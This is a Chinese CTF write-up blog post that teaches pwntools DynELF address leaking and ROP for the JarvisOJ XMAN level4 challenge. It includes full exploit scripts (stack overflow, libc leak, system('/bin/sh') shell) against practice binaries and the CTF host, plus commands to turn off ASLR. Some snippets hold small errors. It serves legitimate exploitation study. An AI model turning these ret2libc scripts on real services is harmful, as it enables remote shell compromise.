CTF

「JarvisOJ」XMANlevel4题解

Posted by 许大仙 on August 6, 2018

day5:DynELF和gadgets学习 day6: XMANlevel4

DynELF模块介绍及简单使用

1.DynELF模块介绍及使用条件

DynELF是用于泄漏[leak]地址信息的模块,通过反复调用泄露漏洞,在被攻击机器的内存中不断搜索地址信息。官网给出的说明是:Given a function which can leak data at an arbitrary address, any symbol in any loaded library can be resolved[任何程序加载的库内的符号(函数)都可以被leak出地址信息].

在没有目标系统libc文件[会被程序默认加载]的情况下,我们可以使用pwntools的DynELF模块来泄漏地址信息,从而获取到shell。本文针对linux下的puts和write,分别给出了实现DynELF关键函数leak的方法,并通过3道CTF题目介绍了这些方法的具体应用情况。

DynELF是pwntools中专门用来应对无libc情况的漏洞利用模块,其基本代码框架如下:

p = process('./xxx')
def leak(address):
  #各种预处理
  payload = "xxxxxxxx" + address + "xxxxxxxx" 
  p.send(payload)
  #各种处理
  data = p.recv(4)
  log.debug("%#x => %s" % (address, (data or '').encode('hex')))
  return data

d = DynELF(leak, elf=ELF("./xxx"))  #初始化DynELF模块,感觉leak就是一个为d实体定制的模板化攻击工具,可以引入各种库文件,寻找库中函数地址

systemAddress = d.lookup('system', 'libc')  #在libc文件中搜索system函数的地址

需要使用者进行的工作主要集中在leak函数的具体实现上,上面的代码只是个模板。其中,address就是leak函数要泄漏信息的所在地址,而payload就是触发目标程序泄漏address处信息的攻击代码

使用条件: 不管有没有libc文件,要想获得目标系统的system函数地址,首先都要求目标二进制程序中存在一个能够泄漏目标系统内存中libc空间内信息的漏洞[存储栈溢出攻击点]。同时,由于我们是在对方内存中不断搜索地址信息,故我们需要这样的信息泄露漏洞能够被反复调用

以下是大致归纳的主要使用条件:

  • 1)目标程序存在可以泄露libc等库空间信息的漏洞,如read@got就指向libc地址空间内[存在调用libc库中的函数,比如 read, write,getchar, fopen,fclose,fgets,freopen,fseek,fprintf,这些函数的地址就可以被找到];
  • 2)目标程序中存在的信息泄露漏洞能够反复触发,从而可以不断泄露libc地址空间内的信息[类似于XMANlevel3中的二次溢出,通过调用第二次vulnerable_function实现第二次溢出,这样不断将漏洞地址放置在%ebp+4就可以反复利用溢出点]。

2.DynELF模块实战

当然,以上仅仅是实现利用的基本条件,不同的目标程序和运行环境都会有一些坑需要绕过。接下来,我们主要针对write和puts这两个普遍用来泄漏信息的函数在实际配合DynELF工作时可能遇到的问题,给出相应的解决方法。

(1)write函数

write函数原型是write(fd, addr, len),即将addr作为起始地址,读取len字节的数据到文件流fd(0表示标准输入流stdin、1表示标准输出流stdout)。(比如write(1,addr,len)就是写到屏幕)

write函数的优点是可以读取后打印任意长度的内存信息,即它的打印长度只受len参数控制缺点是需要传递3个参数,特别是在x64环境下,可能会带来一些困扰

在x64环境下,函数的参数是通过寄存器传递的rdi对应第一个参数,rsi对应第二个参数,rdx对应第三个参数,往往凑不出类似“pop rdi; ret”、“pop rsi; ret”、“pop rdx; ret”等3个传参的gadget。此时,可以考虑使用__libc_csu_init函数的通用gadget简单的说,就是通过__libc_csu_init函数的两段代码来实现3个参数的传递,这两段代码普遍存在于x64二进制程序!!中,只不过是间接地传递参数,而不像原来,是通过pop指令直接传递参数。

第一段代码如下:

.text:000000000040075A   pop  rbx  #需置为0,为配合第二段代码的call指令寻址
.text:000000000040075B   pop  rbp  #需置为1
.text:000000000040075C   pop  r12  
#需置为要调用的函数地址,注意是got地址而不是plt地址,因为第二段代码中是call指令

.text:000000000040075E   pop  r13  #write函数的第三个参数
.text:0000000000400760   pop  r14  #write函数的第二个参数
.text:0000000000400762   pop  r15  #write函数的第一个参数
.text:0000000000400764   retn #ret到第二段代码

第二段代码如下:

.text:0000000000400740   mov  rdx, r13 #%rdx存储argu3
.text:0000000000400743   mov  rsi, r14#%rsi存储argu2
.text:0000000000400746   mov  edi, r15d #%rdi存储argu1,至此x64下间接设置好write的3个参数
.text:0000000000400749   call  qword ptr [r12+rbx*8]   
#由于此前rbx置为0,r12置为要调用的函数地址,故[r12+rbx*8]=[r12],这里就可以成功调用带有3个参数的函数

这样,我们便解决了write函数在leak信息中存在的问题,具体的应用会放到后面的3道题目中讲。

(2)puts函数

puts(addr):将addr作为起始地址输出字符串,直到遇到“\x00”字符为止

也就是说,puts函数输出的数据长度是不受控的,只要我们输出的信息中包含\x00截断符,输出就会终止,且会自动将“\n”追加到输出字符串的末尾[但是不包含0x00],这是puts函数的缺点,而优点就是需要的参数少,只有1个,无论在x32还是x64环境下,都容易调用。

为了克服输入不受控这一缺点[输出不受控就无法确定puts出来的哪个部分是我们需要的],我们考虑利用puts函数输出的字符串最后一位为“\n“这一特点,分两种情况来解决

①puts输出完后就没有其他输出,在这种情况下的leak函数可以这么写。

def leak(address):
  count = 0
  data = ''
  payload = xxx
  p.send(payload)
  print p.recvuntil('xxx\n') #一定要在puts前释放完输出,接下来是puts函数读取到、待输出的内容
  up = ""
  while True:
    c = p.recv(numb=1, timeout=1) #获取当前字符
    #由于接收完标志字符串结束的回车符后,就没有其他输出了,故先等待1秒钟,如果确实接收不到了,就说明输出结束了
    #为了与不是标志字符串结束的回车符(0X0A)混淆[可能puts(addr)的addr到0x00之前有‘0x0a’的字符,但是个字符不是puts结束后自行添加的0x0a,所以也属于输入的字符串部分]。这也利用了recv函数的timeout参数,即当timeout结束后仍得不到输出,则直接返回空字符串””
    count += 1
	#up表示接收的上一个字符,c表示当前字符
    if up == '\n' and c == "":#接收到的上一个字符为回车符且当前接收不到新字符,说明puts读到0x00,确实结束了
      buf = buf[:-1] #删除puts函数输出的末尾回车\n。
      buf += "\x00" #添加一个\0,标识字符串结束
      break #退出while(true)循环
 
    else:
      buf += c
    up = c #当前字符变为上一个字符

  data = buf[:4]  #取指定字节数
  log.info("%#x => %s" % (address, (data or '').encode('hex')))
  return data

②puts输出完后还有其他输出,在这种情况下的leak函数可以这么写。

def leak(address):
  count = 0
  data = ""
  payload = xxx
  p.send(payload)
  print p.recvuntil("xxx\n")) #一定要在puts前释放完输出,接下来处理puts的内容
  up = ""
  while True:
    c = p.recv(1)
    count += 1
    if up == '\n' and c == "x":  #一定要找到泄漏信息的字符串特征
      data = buf[:-1] 
      data += "\x00"
      break
    else:
      buf += c
    up = c
   
  data = buf[:4] 
  log.info("%#x => %s" % (address, (data or '').encode('hex')))
  return data

其他需要注意的地址: 在信息泄露过程中,由于循环制造溢出,故可能会导致栈结构发生不可预料的变化,可以尝试调用目标二进制程序的_start函数来重新开始程序以恢复栈。 [DynELF模块的leak是要多次溢出,直到确定是所需的符号地址才结束]

具体示例:XDCTF2015-pwn200

本题是32位linux下的二进制程序,无cookie,存在很明显的栈溢出漏洞,且可以循环泄露,符合我们使用DynELF的条件。具体的栈溢出位置等调试过程就不细说了,只简要说一下借助DynELF实现利用的要点

  • 1)调用write函数来泄露地址信息,比较方便;
  • 2)32位linux下可以通过布置栈空间来构造函数参数,不用找gadget,比较方便[与64位系统不同,32位下函数参数只用放在栈中。需要向寄存器传参的要找gadget];
  • 3)在泄露完函数地址后,需要重新调用一下_start函数,用以恢复栈
  • 4)在实际调用system前,需要通过三次pop操作来将栈指针指向systemAddress[消除read(0,bssaddress,8)写”/bin/sh”到bss的3个参数],可以使用ropper或ROPgadget来完成。

接下来就直接给出利用代码。

from pwn import *
import binascii
p = process("./xdctf-pwn200")
elf = ELF("./xdctf-pwn200")
writeplt = elf.symbols['write']
writegot = elf.got['write']
readplt = elf.symbols['read']
readgot = elf.got['read']
vulnaddress =  0x08048484 
startaddress = 0x080483d0  #调用_start函数,用以恢复栈平衡
bssaddress =   0x0804a020#用来写入“/bin/sh\0”字符串

def leak(address):
  payload = "A" * 112
  payload += p32(writeplt)
  payload += p32(vulnaddress) #反复利用溢出漏洞
  payload += p32(1)
  payload += p32(address)
  payload += p32(4)
  p.send(payload)
  data = p.recv(4)
  print "%#x => %s" % (address, (data or '').encode('hex')) 
  #当读入地址为空的时候再转hex会出错,所以加一个''来避免NULL转hex吧。py读文件没读到跟''是两个类型。
  return data

print p.recvline()
dynelf = DynELF(leak, elf=ELF("./lctf-pwn200"))
systemAddress = dynelf.lookup("__libc_system", "libc") 
print "systemAddress:", hex(systemAddress)
  	 
#调用_start函数,恢复栈
payload1 = "A" * 112
payload1 += p32(startaddress) 
p.send(payload1)
print p.recv()

ppprAddress = 0x0804856c#获取连续3次pop操作[+ret]的gadget的地址,消除read参数,便于gadget中ret到system
payload1 = "A" * 112
payload1 += p32(readplt)
payload1 += p32(ppprAddress)
payload1 += p32(0)
payload1 += p32(bssaddress)
payload1 += p32(8) #在终端输入“/bin/sh”,由read读取写入bss段
payload1 += p32(systemAddress) + p32(vulnaddress) + p32(bssaddress)
p.send(payload1) #read等待有输入
p.send('/bin/sh\0') #发送'/bin/sh\0'到终端
p.interactive()

参考链接:

  • https://blog.csdn.net/u011987514/article/details/68490157

  • https://blog.csdn.net/guiguzi5512407/article/details/52752909

ROP攻击

通过泄露内存的方式[DynELF模块]可以获取目标程序libc中各函数的地址,这种攻击方式可以绕过地址随机化保护

PIE开启

以下通过ROP攻击[泄露内存+gadgets]来介绍这种攻击方式,对于程序:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void vulnerable_function() {
    char buf[128];
    read(STDIN_FILENO, buf, 256);
}

int main(int argc, char** argv) {
    vulnerable_function();
    write(STDOUT_FILENO, "Hello, World\n", 13);
}

read函数这里显然存在一个缓存区溢出的漏洞,buf的长度是128,read函数读取了256字节的数据,造成了缓冲区溢出。

通过以下命令编译程序(编译时关闭缓冲区溢出检测,编译为32位的程序)

$ gcc -m32 -fno-stack-protector -o test test.c

1.程序分析

程序运行的时候libc已经载入到内存中了,这时libc的地址是一个固定的值[ldd查看程序使用的共享库,每次ldd的库基地址结果都不同,但是如果程序已加载到内存,动态链接后,各个库的基地址就不变了],我们可以通过泄露内存的方法dump出程序正在使用的libc,从而找到libc中system函数的地址。

需要构造一个能泄露至少一字节内存的payload[使用DynELF的要求]:

‘A’ * N + p32(write_plt) + p32(ret) + p32(1) + p32(address) + p32(4)

输入N个字符后发生溢出,write_plt的地址将会覆盖read函数的返回地址,随后程序将会跳转到write函数,我们在栈中构造了write函数的3个参数和返回地址,这段payload相当于让程序执行

write(1, address, 4);

这样就可以dump出内存中地址为address处的4字节数据。

这个payload中的address随意取,就可以dump出内存中的任意字节。现在address的选取交给DynELF模块,查找system函数,并获取system的地址

2.攻击过程

确定溢出点:在不同操作系统,不同版本,不同栈机制下缓冲区的大小可能都不同,因此比起手动计算的不准确[可能不单单buf[128]大小的缓冲区],可以使用pwntools里面的cyclic工具生成字符串,使用gdb调试找到溢出点,在使用pwntools中的cyclic查找字符串,确定返回地址偏移量。

cyclic模块

构造leak函数:

def leak(address):
    payload1 = "A" * 140 + p32(write_plt) + p32(main) + p32(1) + p32(address) + p32(4) #payload再返回到main[带有漏洞的函数],反复利用漏洞
    p.sendline(payload1)
    data = p.recv(4)
    log.info("%#x => %s" % (address, (data or '').encode('hex')))
    return data   

这段函数能从内存中address处dump出4字节数据,函数执行结束后会返回main函数重新执行,也就是说利用这个函数,我们可以dump出整个libc

使用DynELF模块查找system函数地址:

d = DynELF(leak, elf=ELF('./001'))
system_addr= d.lookup('system', 'libc')

获取到system地址后便可以构造system(“/bin/sh”);攻击程序。

由于程序中没有/bin/sh这个字符串,我们可以用read函数先它写入内存中一个固定的位置,然后再执行system函数

bss段在内存中的位置是固定的,所以可以将/bin/sh写到bss段中,payload如下:

‘B’ * 140 + p32(read_plt) + p(ret1) + p32(0) + p32(bss_addr) + p32(8) + p32(system_addr) + p32(ret2) + p32(bss_addr)

我们构造的read函数有3个参数,这3个参数和read函数的返回地址ret1不同,返回地址ret1在read函数汇编代码中的ret指令执行时被pop出栈,但是这3个参数却还留在栈中,没有被弹出栈,这会影响我们构造的下一个函数system的执行。所以我们需要找一个连续pop三个寄存器的指令来平衡堆栈

所以其中的ret1应当给出gadgets的地址,用于平衡堆栈,再返回到system函数执行。

这种指令很容易找到,反汇编test程序,在程序本身中找,如下:

$ objdump -d test grep pop -C5

gadgets

找的pop指令后面还需要带有一个ret指令,这样我们平衡堆栈后可以返回到我们构造的system函数

可以选取 0x804850d - 0x8048510这四条指令:

pop ebx; pop esi; pop ebp; ret

形如这样的一串汇编指令也叫作gadgets,在ROP攻击中利用很广泛。[ret,pop等组成的]gadgets散落在程序汇编代码的各个角落,当程序的代码很长的时候,寻找gadgets就会变得很复杂,因此有人写过工具专门用来寻找程序中的gadgets,比如ROPgadgets。

3.漏洞利用脚本

#!/usr/bin/python 
from pwn import *

p = process('test')
elf = ELF('test')

read_plt = elf.symbols['read']
write_plt = elf.symbols['write']
main = elf.symbols['main']

def leak(address):
    payload1 = "A" * 140 + p32(write_plt) + p32(main) + p32(1) + p32(address) + p32(4)
    p.sendline(payload1)
    data = p.recv(4)
    log.info("%#x => %s" % (address, (data or '').encode('hex')))
    return data

d = DynELF(leak, elf=ELF('test'))

system_addr = d.lookup('system', 'libc')
log.info("system_addr = " + hex(system_addr))

bss_addr = elf.symbols['__bss_start'] #获得bss段首地址,写入“/bin/sh”
pppr = 0x804850d #gadgets的地址,3个pop+1ret
 
payload2 = "B" * 140 + p32(read_plt) + p32(pppr) + p32(0) + p32(bss_addr) + p32(8)
payload2 += p32(system_addr) + p32(main) + p32(bss_addr)
#payload先写入"/bin/sh",再调用system函数

p.sendline(payload2)
p.sendline("/bin/sh\0") #将"/bin/sh"传送到远程终端作为输入

p.interactive()

参考链接:初探ROP攻击 Memory Leak & DynELF

XMAN level4题解思路

1.checksec查看 开启NX,无canary

依旧是老样子,栈不可执行[自制shellcode不可行],无canary[栈溢出漏洞]

用IDA查看伪代码,几乎没有变化,但是shift+12查看不到“/bin/sh”字符串,函数列表也没有“system”,也不附带libc.so文件了。

IDA情况

在不知道libc.so版本的情况下,我们不能确定库中system函数的具体地址。

无.so情况下,求助pwntools中的DynELF模块,泄露一切内存地址[查找需要的信息]

要使用DynELF模块就要求:

  1. 存在可以泄露信息的漏洞,漏洞和库有链接[目标程序存在可以泄露libc空间信息的漏洞,当调用libc中的函数时,就会进入libc地址空间。如read@got/write@got就指向libc地址空间内;]
  2. 漏洞可以反复利用,多次溢出[就是level3中的二次溢出,类似地将vulnerable_function作为返回地址就可以多次溢出]

现在可以有两个方法

  1. 通过泄露得到的__libc_start_main地址对照libc库,得到libc库版本,查到system函数的地址[好像此题,不可行]
  2. 尝试直接泄露system地址

思路大致是:###

1.构造leak函数:

def leak(address):
    payload1 = "A" * 0x88 +'aaaa' + p32(write_plt) + p32(vuln_addr) + p32(1) + p32(address) + p32(4)
    p.sendline(payload1)
    leak_addr = p.recv(4)
    log.info("leaking %#x => %s" % (address, (leak_addr or '').encode('hex')))
    return data   

这段函数能从内存中address处dump出4字节数据,函数执行结束后会返回vulnerable_function函数重新执行再次利用漏洞。也就是说利用这个函数,我们可以dump出整个libc.

2.使用DynELF模块查找system函数地址:

d = DynELF(leak,elf=ELF('./level4'))
sys_addr = d.lookup('system','libc')

3.将‘/bin/sh’能保存到.bss段中,就可以执行system(‘/bin/sh’)。通过ELF模块获取bss段的首地址,在bss的地址下write输入的’/bin/sh’【bss_addr = elf.bss()得到bss地址或bss_addr = elf.symbols[‘__bss_start’] 】

4.构造payload

payload1 = 填充字符+read函数+read函数的返回地址(vuln_addr)+第一个参数(0)+第二个参数bss_addr+第三个参数(8)

这个payload可以将’/bin/sh’读取,保存到bss段

再构造一个payload:

payload2 = 填充字符+system函数地址+’bbbb’+’/bin/sh’的地址(bss_addr)

调用system(/bin/sh’)

另一种思路:使用gadgets

使用gadgets找到3个pop+1个ret来平衡堆栈,将read(0,bss_addr,8)的3个参数弹出栈,接着ret到system函数去执行。

payload2 = “a” * 0x88 +’aaaa’ + p32(read_plt) + p32(pppr) + p32(0) + p32(bss_addr) + p32(8)+ p32(system_addr) + p32(vuln_addr) + p32(bss_addr)

pppr的值就是连续的3个pop+1个ret的level4程序内的地址,将ppr放在read_plt调用的后%ebp+4的位置,在read执行后就会返回到pppr执行3个pop,弹出”p32(0) + p32(bss_addr) + p32(8)”。再执行ret,将p32(system_addr),pop到%eip中。从而调用system(“/bin/sh”)

3pop1ret的gadgets

得到pppr的地址为0x8048509,因为NO PIE,故pppr应该是不变的[静态地址]

注意:ASLR与PIE的区别

注:为什么把“/bin/sh”写到.bss段呢?因为对待栈随机化等保护机制,一般.bss节的位置是不变的[NO PIE]。这样可以使用静态定值地址。而且全局数据就是存储在数据节[.bss属于数据节],所以这样合适。

而且,通过DynELF模块只能泄露到system()在内存中的地址,但无法泄露字符串“/bin/sh”在内存中的地址

readelf -S level2这个命令就可以获取到各个段的首地址

解题步骤

法一:

from pwn import *
context(arch="i386",os="linux")
r=remote('pwn2.jarvisoj.com',9880)
elf=ELF('./level4')
plt_write=elf.plt['write']
plt_read=elf.plt['read']

vuladr=elf.symbols['vulnerable_function']
bssadr=elf.symbols['__bss_start']
#elf.bss() elf.symbols['__data_start'] also can be used
 
def leak(address):
	payload1='A'*(0x88+0x4)+p32(plt_write)+p32(vuladr)+p32(0x1)+p32(address)+p32(0x4)
	r.send(payload1)
	leak_address=r.recv(4)
	return leak_address
 
#leak critical functions' addresses
d=DynELF(leak,elf=ELF('./level4'))
sysadr=d.lookup('system','libc')
exitadr=d.lookup('exit','libc')
 
#read '/bin/sh' in bss segment
payload2='A'*(0x88+0x4)+p32(plt_read)+p32(vuladr)+p32(0x0)+p32(bssadr)+p32(0x8) #先写入bin/sh到bss段,再二次溢出
r.send(payload2)
r.send('/bin/sh\x00') #8个字节,read的第三个参数为8
 
#pwn it!
payload3='A'*(0x88+0x4)+p32(sysadr)+p32(exitadr)+p32(bssadr) #二次溢出到system函数[read的3个参数就留在栈中]
r.send(payload3)
 
r.interactive()

法二:

#!/usr/bin/python 
from pwn import *

context(arch="i386",os="linux")
elf = ELF('./level4')
p = remote('pwn2.jarvisoj.com',9880)
read_plt = elf.symbols['read']
write_plt = elf.symbols['write']
vuln_addr = elf.symbols['vulnerable_function']

def leak(address):
    payload1 = "A" * 0x88+'aaaa' + p32(write_plt) + p32(vuln_addr) + p32(1) + p32(address) + p32(4)
    p.sendline(payload1)
    leak_addr = p.recv(4)
    log.info("leak_addr: %#x => %s" % (address, (leak_addr or '').encode('hex'))) #打印leak的过程
    return leak_addr

d = DynELF(leak, elf=ELF('./level4'))
system_addr = d.lookup('system', 'libc') #泄露libc库中system的位置
log.info("system_addr = " + hex(system_addr))  #log.info打印system函数地址

bss_addr = elf.symbols['__bss_start']

pppr = 0x8048509

payload2 = "B" * 0x88 +'aaaa' + p32(read_plt) + p32(pppr) + p32(0) + p32(bss_addr) + p32(8)+ p32(system_addr) + p32(vuln_addr) + p32(bss_addr)

p.sendline(payload2)
p.sendline("/bin/sh\0") 
p.interactive()
p.close()

泄露libc库

泄露后,获取到system地址

拿到flag

补充

1.read函数

ssize_t read [1]  (int fd, void *buf, size_t count);//写入内存

参数fd所指的文件传送count个字节到buf指针所指的内存中。[参数fd为文件描述符:标准输入(standard input)的文件描述符是 0,标准输出(standard output)是 1,标准错误(standard error)是 2]

2.ROP攻击

ROP的全称为Return-oriented programming(返回导向编程),这是一种高级的内存攻击技术可以用来绕过现代操作系统的各种通用防御(比如内存不可执行和代码签名等),简单的说就是攻击者从已有的库或可执行文件中提取指令片段,构建恶意代码

3. 64位机器栈帧间的参数传递

在64位机器上参数的传递,前6个参数[从左向右数前6个]分别保存在rdi,rsi,rdx,rcx,r8和r9寄存器中,但是从第七个参数开始就要从右向左入栈[最后一个参数先入栈,最后入栈第7个参数]

4.通用gadget _libc _csu _init的使用

64位机器下参数传递情况

[_libc_csu_init函数是程序调用libc库时,用来对程序进行初始化的函数,一般先于main函数执行。它是由gcc自动编译进去的函数,算是程序自带的,静态函数,NO PIE下地址固定]

注意这里有个坑! _libc _csu _init里面的r12寄存器不能直接放要跳转到的指令的地址。因为是call (%r12+%rdx8){即call QWORD PTR [r12+rbx8],间接跳转}, 而不是 call [r12+rbx8]直接跳转。所以%r12应该放的是要跳转到的指令的 地址的地址

这也就产生了一定的局限性了。[已知某函数的首地址,就只能call 函数首地址,而不能call *]

但是这样却又恰恰迎合了GOT表,比如libc库里面的write函数,当第一次调用后,GOT表中的write函数条目就变成了write的真实地址[write函数的首地址]。 那么间接调用GOT表中的write函数条目索引【由elf.got[‘write’]踢狗】,也就是相当于直接调用GOT表中的write函数条目的内容[也就是write的真实地址]

call *write_got = call write真实地址

会在下一篇blog中,详细简述

学习参考链接:

  • https://blog.csdn.net/zszcr/article/details/79758677

  • http://www.cnblogs.com/Ox9A82/p/5487725.html

5.PIE与ASLR

ASLR,全称为 Address Space Layout Randomization,地址空间布局随机化,是一种针对缓冲区溢出的安全保护技术,通过对堆、栈、共享库映射等线性区布局的随机化.

Linux 平台上 ASLR 分为 0,1,2 三级,用户可以通过一个内核参数 randomize_va_space 进行等级控制。它们对应的效果如下:

0:没有随机化。即关闭 ASLR。

1:保留的随机化。共享库、栈、mmap() 以及 VDSO 将被随机化。

2:完全的随机化。在 1 的基础上,通过 brk() 分配的内存空间也将被随机化。

【代码段以及数据段的随机化->PIE】 不论ASLR为什么等级,当PIE未开启时,代码段以及数据段的地址均没有发生变化。当ASLR开启可以控制栈地址随机化。

也就是说:ASLR 不负责代码段以及数据段的随机化工作,这项工作由 PIE 负责。但是只有在开启 ASLR 之后,PIE 才会生效。

【堆随机化->ASLR】 而堆的随机化受到ASLR等级的控制:在 Linux 平台上,堆空间的分配是通过 mmap() 以及 brk() 这两个系统调用完成的。在上面分级效果可以看到,当等级为 1 时,通过 mmap() 分配的堆空间将被随机化,但并不包括 brk() 分配的堆空间。在等级为 2 时,通过 brk() 分配的内存空间也将被随机化,即此时堆空间被完全随机化。

△查看/开启/关闭 ASLR

ASLR 的等级可以通过一个内核参数 randomize_va_space 来进行控制,查看其值即可知道当前系统的 ASLR 的等级,如下:

cat /proc/sys/kernel/randomize_va_space

自然地,可以通过更改 randomize_va_space 这个内核参数的值来开启或者关闭 ASLR,如下:

0:关闭ASLR

sudo bash -c “echo 0 > /proc/sys/kernel/randomize_va_space”

1:保留的ASLR

sudo bash -c “echo 1 > /proc/sys/kernel/randomize_va_space”

2:完全的ASLR

sudo bash -c “echo 2 > /proc/sys/kernel/randomize_va_space”

应当注意,这只是暂时的更改,重启系统将丢失更改


6.Cyclic Pattern

Cyclic pattern是pwntools中一个很强大的功能,大概作用是:使用pwntools生成一个pattern[pattern就是指一个字符串],可以通过其中的一部分数据去定位到一个字符串中的位置[具体看下面的例子理解]。

有了这个模块,在进行栈溢出攻击,使用pattern可以大大的减少计算溢出点的时间

用法:

cyclic(0x100) # 生成一个0x100大小的pattern,即一个特殊的字符串,可以标识各个位置
cyclic_find(0x61616161) # 找到0x61616161数据在pattern中的位置
cyclic_find('aaaa') # 查找位置也可以使用字符串去定位

比如,我们在栈溢出的时候,首先构造cyclic(0x100),或者更长长度的pattern,作为程序的输入。输入后,退栈ret时,pattern的一部分pop到了%eip[ret指令],%eip的值变为了pattern的一部分,由于SIGSEGV段错误,程序终止,会输出类似于“0x6261616b in ??()”这样的错误,即这样的内存地址[%eip处]在内存中非法,那么我们通过cyclic_find(0x6261616b)得到从pattern的哪一个字节开始[字节偏移量]控制%eip寄存器了,从而得到缓冲区的大小。

$ cyclic 1000
$ cyclic -l 0x6261616b
  140  #字节偏移140处溢出到返回地址的位置